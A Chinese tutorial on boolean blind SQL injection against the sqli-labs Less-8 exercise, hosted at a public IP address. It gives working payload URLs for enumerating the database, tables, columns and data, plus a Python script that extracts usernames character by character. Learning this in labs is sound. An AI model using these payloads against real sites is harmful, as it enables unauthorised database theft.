推荐:简单了解SQL注入
盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。
“基于布尔判断的盲注”指的是利用SQL语句逻辑与(and)操作,判断and两边的条件是否成立,SQL语句带入数据库查询后判断返回内容(通常返回值仅有空和非空两种状态),类似布尔型的true和false的两种状态(true为非空,false为空);类似于无法开口说话的人,只能通过点头和摇头来告诉你答案正确与否。
在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。
方法一:通过增加
'
、"
、注释符,如果语句从执行失败到执行成功则说明存在注入点。
说明存在注入点,且闭合类型为单引号(若闭合类型是双引号,使用单引号像上面所示进行尝试,3个页面都会显示正确)
方法二:
?id=1 and 1=1
?id=1 and 1=2
如果上面两句页面出现的结果不一样,说明没有闭合方式,是数字型
?id='1 and 1=1'
===> ?id='1'
?id='1 and 1=2'
===> ?id='1'
?id=1' and 1=1 #
?id=1' and 1=2 #
如果上面两句页面出现的结果不一样,说明闭合方式是单引号,是字符型
方法:主要因为5.0版本以下没有
information_schema
数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;
left
函数:返回从字符串开始位置指定数量的字符(包含空格)。LEFT(string_expression, count)
#string_expression 表示字符串,这个参数可以是数据库表的列名,字符串,也可以是某一函数的返回结果。
#count 是整数, 表示从字符串开始位置到结束,返回的字符数量
例如:
select left('5.5.53',1) --> 5
select left('5.5.53',2) --> 5.
http://47.109.71.232:8080/Less-8/?id=1' and left(version(),1)=5--+
方法:由于无法回显数据,先使用
length()
判断当前数据库的长度,减小后面猜解数据库名称的工作量;
http://47.109.71.232:8080/Less-8/?id=1' and length(database())>10--+
http://47.109.71.232:8080/Less-8/?id=1' and length(database())=8--+
方法:利用第3步确认的数据库长度,结合
ascii()
、substr()
函数,一个一个字符猜解,利用二分法;
substr()
从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。substr(obj,start,length)
#obj:从哪个内容中截取,可以是数值或字符串。
#start:从哪个字符开始截取(1开始,而不是0开始)
#length:截取几个字符(空格也算一个字符)。
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))>110--+
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+
方法:
count()
函数,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=5--+
http://47.109.71.232:8080/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
方法:
length函数
,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
方法:
ascii
函数、substr
函数,一个一个字符猜解,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
http://47.109.71.232:8080/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="emails")=2--+
方法:
length
函数,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1))=2 --+
方法:
ascii
函数、substr
函数,一个一个字符猜解,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="emails" limit 0,1),1,1))=105--+
方法:
ascii
函数、substr
函数,一个一个字符猜解,利用二分法;
http://47.109.71.232:8080/Less-8/?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+
import requests
import string
url = "http://47.109.71.232:8080/Less-8/?id="
# select = "select database()"
# select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):
for ch in string.ascii_letters + string.digits + ",:}{_":
payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
r = requests.get(url = url + payload)
if "You are in" in r.text:
result += ch
print(result)
break
if ch == "_":
print("[***] 注入完成")
exit(0)